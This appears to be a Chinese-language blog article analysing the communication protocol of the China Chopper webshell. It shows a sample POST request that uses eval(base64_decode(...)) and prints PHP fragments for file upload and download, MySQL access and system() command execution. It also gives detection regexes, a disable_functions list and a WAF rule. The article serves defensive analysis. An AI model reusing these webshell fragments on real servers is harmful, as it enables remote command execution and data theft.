从抓包到解码:手把手带你拆解中国菜刀(Chopper)与Webshell的通信协议

张开发
2026/4/21 3:25:22 15 分钟阅读

分享文章

从抓包到解码:手把手带你拆解中国菜刀(Chopper)与Webshell的通信协议
Web安全通信协议逆向分析从流量解码到防御实践在网络安全攻防对抗的战场上理解攻击工具的通信机制往往比单纯使用工具更有价值。当我们能够拆解这些工具的通信协议时不仅能更高效地识别攻击行为还能针对性设计防御策略。本文将采用逆向工程视角带您深入分析一种典型Web控制工具的通信模式。1. 通信协议分析基础准备进行协议逆向分析前需要搭建合适的实验环境。建议使用隔离的虚拟机环境配置以下组件网络抓包工具Wireshark全流量捕获配合Burp SuiteHTTP协议分析目标环境PHP 5.6 Apache/Nginx组合注意PHP 7已对某些函数做了安全限制调试工具Chrome开发者工具、Postman用于请求重构实验环境务必与生产网络物理隔离所有测试应在授权范围内进行典型通信流程可分为三个阶段初始握手验证Webshell存在性并获取基础环境信息会话维持通过特定参数保持控制通道命令执行传输操作指令并返回结果2. 协议字段深度解码通过抓包分析我们可以观察到几个关键参数在通信过程中的作用参数名编码方式功能描述示例值z0Base64环境探测代码set_time_limit(0)...z1Base64路径参数D:\wwwroot\testz2Base64内容数据文件内容/命令语句典型请求体结构POST /shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded testeval(base64_decode($_POST[z0]))z0base64_payload解码后的PHP代码通常包含这些关键函数ini_set(display_errors,0); // 关闭错误显示 set_time_limit(0); // 取消执行时间限制 eval(base64_decode($payload)); // 动态执行解码后的指令3. 功能实现机制剖析3.1 文件管理系统文件操作采用指令-响应模式核心步骤包括路径探测通过$_SERVER[SCRIPT_FILENAME]获取绝对路径使用opendir/readdir遍历目录文件上传$buf ; for($i0;$istrlen($c);$i2) $buf . urldecode(%.substr($c,$i,2)); fwrite(fopen($f,w),$buf);文件下载$fp fopen($F,r); if(fgetc($fp)){ readfile($F); }3.2 数据库管理模块数据库连接采用分段凭证传输$ar explode(choraheiheihei, $conf); // 分隔符拆分 $T mysql_connect($ar[0],$ar[1],$ar[2]); mysql_query(SET NAMES utf8);SQL执行流程接收Base64编码的SQL语句通过mysql_query执行结果以制表符分隔格式返回3.3 虚拟终端实现命令执行关键代码段$r {$p} {$c}; // 组合命令和参数 system($r. 21,$ret); // 执行系统命令 print ($ret!0)?ret{$ret}:;特殊处理包括Windows/Linux路径前缀自动判断错误输出重定向返回码检查4. 安全检测与防御方案基于协议分析结果可设计多维度检测策略流量特征检测点频繁出现的z0、z1、z2参数名Base64编码数据长度异常连续的符号使用服务器端防护建议函数禁用列表disable_functions eval,exec,passthru,shell_exec,system日志监控规则示例正则表达式(\eval\(|\system\(|\exec\()|(base64_decode\([^)]\))Web应用防火墙规则示例{ rule: POST_PARAM, pattern: z[0-9][a-zA-Z0-9/]{100,}, action: block }网络层防御措施防御层级实施方法效果评估网络边界深度包检测(DPI)识别异常编码模式主机层面文件完整性监控检测Web目录变更应用层面输入内容过滤阻断恶意参数在实际防御部署中建议采用分层防御策略结合流量分析和行为分析建立从网络边界到主机的完整防护体系。同时保持对新型通信模式的持续研究及时更新检测规则库。

更多文章